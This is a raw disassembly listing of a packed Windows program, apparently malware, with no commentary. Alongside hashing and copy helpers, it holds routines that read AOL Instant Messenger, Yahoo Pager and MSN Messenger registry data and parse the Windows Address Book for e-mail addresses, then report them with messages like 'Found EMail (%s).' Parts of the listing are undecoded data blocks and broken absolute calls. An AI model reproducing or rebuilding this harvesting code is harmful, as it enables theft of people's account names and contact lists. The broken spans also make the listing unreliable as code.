		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_434770
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_433AB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 21h dup(0CCh)
byte_434421	db 23Fh	dup(0CCh)	; DATA XREF: Themida_:00598529o

; =============== S U B	R O U T	I N E =======================================



sub_434660	proc near		; CODE XREF: sub_433A20+14p
					; sub_433A20+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_4346A7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43467A:				; CODE XREF: sub_434660+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43467A
		pop	esi


loc_4346A7:				; CODE XREF: sub_434660+7j
		pop	edi
		retn
sub_434660	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4346D0	proc near		; CODE XREF: sub_433AB0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_43471A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4346ED:				; CODE XREF: sub_4346D0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4346ED
		pop	edi
		pop	esi


loc_43471A:				; CODE XREF: sub_4346D0+7j
		pop	ebp
		retn
sub_4346D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434740	proc near		; CODE XREF: sub_433940+4Ep
					; sub_433940+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_43475C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_434753:				; CODE XREF: sub_434740+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_434753


loc_43475C:				; CODE XREF: sub_434740+7j
		pop	esi
		retn
sub_434740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434770	proc near		; CODE XREF: sub_433A20+60p
					; sub_433AB0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_43479E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_43479E:				; CODE XREF: sub_434770+6j
		retn
sub_434770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4347B0	proc near		; CODE XREF: sub_401C0Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4347B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4347B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4348A0:				; CODE XREF: ___:loc_401F1Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BDF6
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434E5E
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	1
		push	eax
		call	sub_4016AE
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 50F7241Dh, 4C48300h,	0B9F88Bh, 33000002h, 83D89C0h
		dd 0F30050E4h, 57D4BEABh, 4E8B0044h, 4C8D51FCh,	0EE85024h
		dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh
		dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh,	0CB59E850h
		dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004435h, 9104E890h, 0B9001Bh, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0CBF0000h, 0F30050E4h
		dd 0E408A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
		dd 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D4C68h
		dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D60B568h, 0CE1AE800h, 0C483FFFCh, 90006A1Ch
		dd 4AB5C7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 446F70h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 4DE80000h, 900245B5h
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 46B507E8h
		dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004436h, 20244489h, 1B8F95E8h, 0B99000h, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0CBF0000h, 0F30050E4h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h
		dd 4DB4ABE8h, 8468B02h,	18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 0E8905210h, 24AB480h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 443D4Ch, 0E8694F8Dh,	0FFFCC913h, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D60B5h, 0FCCC6FE8h, 1CC483FFh, 1024548Bh
		dd 0B41AE852h, 8B90024Ah, 8B24247Ch, 47142444h,	7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h
		dd 10C683FFh, 5A24FE81h, 820F0044h, 0FFFFFD2Ah,	0F75C2D8Bh
		dd 448D0050h, 68501C24h, 20019h, 0B068006Ah, 6800445Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 446A6Ch, 85D3FF50h, 0C1850FC0h
		dd 68000000h, 104h, 778DE890h, 0C483777Fh, 248C8D04h, 2E4h
		dd 0A468F08Bh, 5100445Bh, 446A5C68h, 0E8905600h, 1B8E1Ah
		dd 443E8C68h, 6DE85600h, 907780A3h, 0C483F88Bh,	74FF8518h
		dd 948D5775h, 8024h, 52646A00h,	80BEF4E8h, 0C4839077h
		dd 74C0850Ch, 24448D53h, 6A44687Ch, 0E8500044h,	77812F8Ch
		dd 8C48390h, 3C75C085h,	0F424948Bh, 8D000016h, 517C244Ch
		dd 446A2868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh,	170024h
		dd 94888A00h, 8A000000h, 9390h,	68525100h, 4D60B5h, 0FCCB33E8h
		dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h,	90560A74h
		dd 7F74EEE8h, 4C48377h,	1C24448Bh, 0C5E89050h, 8D024AB2h
		dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h
		dd 446A00h, 268h, 8BD5FF80h, 8D1C244Ch,	8D182454h, 2E42484h
		dd 50520000h, 6A006Ah, 446A6C68h, 0D3FF5100h, 850FC085h
		dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h
		dd 68F08B00h, 4469F8h, 69E86852h, 0E8560044h, 1B8D0Ah
		dd 3E8C6890h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h
		dd 8D576E74h, 802484h, 646A0000h, 0BDE3E850h, 83907780h
		dd 0C0850CC4h, 4C8D4C74h, 0CC687C24h, 51004469h, 2E7AE890h
		dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh
		dd 69B06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh,	93h, 94838A50h
		dd 50000000h, 60B56851h, 29E8004Dh, 83FFFCCAh, 905718C4h
		dd 80BC88E8h, 4C48377h,	0A74F685h, 0E4E89056h, 83777F73h
		dd 548B04C4h, 90521C24h, 4AB1BBE8h, 244C8D02h, 2484C764h
		dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_434E5E:				; CODE XREF: ___:004348E1j
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434FE2
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 2910000h
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_446948
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jz	short loc_434EE8
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 28E0000h
		jmp	loc_434FE2
; ---------------------------------------------------------------------------


loc_434EE8:				; CODE XREF: ___:00434ED6j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_50F738
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_44693C
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 2910000h
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jz	short loc_434F9F
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_434FE2
; ---------------------------------------------------------------------------


loc_434F9F:				; CODE XREF: ___:00434F94j
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_434FE2:				; CODE XREF: ___:00434E70j
					; ___:00434E94j ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4351E0	proc near		; CODE XREF: sub_4016F4j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4351E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4351E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435280:				; CODE XREF: ___:loc_401FD7j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017E4
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43551E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		call	near ptr 2910000h
		nop
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43551E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_446F70
		push	eax
		call	near ptr 28C0000h
		nop
		mov	eax, [esp+14h]
		push	eax
		call	near ptr 28E0000h
		nop
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		nop
		call	near ptr 2840000h
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2700000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_435359
		push	edi
		nop
		call	near ptr 282071Eh
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435359:				; CODE XREF: ___:00435341j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 270066Dh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_435389
		mov	esi, dword_50F8D8
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435389:				; CODE XREF: ___:0043536Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_435428
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4353CB:				; CODE XREF: ___:0043541Ej
		xor	eax, eax
		mov	ecx, edi


loc_4353CF:				; CODE XREF: ___:004353DFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4353CF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4353CB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_435428:				; CODE XREF: ___:004353B7j
		push	edi
		mov	edi, dword_50F8D8
		call	edi
		push	esi
		nop
		call	near ptr 2700812h
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		call	near ptr 2910000h
		nop
		test	eax, eax
		jnz	loc_43551E
		mov	ebx, off_50FBF0
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_435477:				; CODE XREF: ___:0043550Ej
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_446A88
		push	ecx
		call	ebx ; sub_5EDAB2
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		call	near ptr 28C0000h
		nop
		test	eax, eax
		jnz	short loc_435513
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_446A7C
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		push	64h
		nop
		call	near ptr 2811D0Bh
		jmp	loc_435477
; ---------------------------------------------------------------------------


loc_435513:				; CODE XREF: ___:004354D3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 28E0000h


loc_43551E:				; CODE XREF: ___:004352A4j
					; ___:004352D4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4355E0	proc near		; CODE XREF: sub_401E47j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4355E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401681
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4355E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_401681
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4356F0	proc near		; CODE XREF: sub_401E4Cj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4356F0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435BC7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_443600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017E4
		mov	edi, dword_50F75C
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
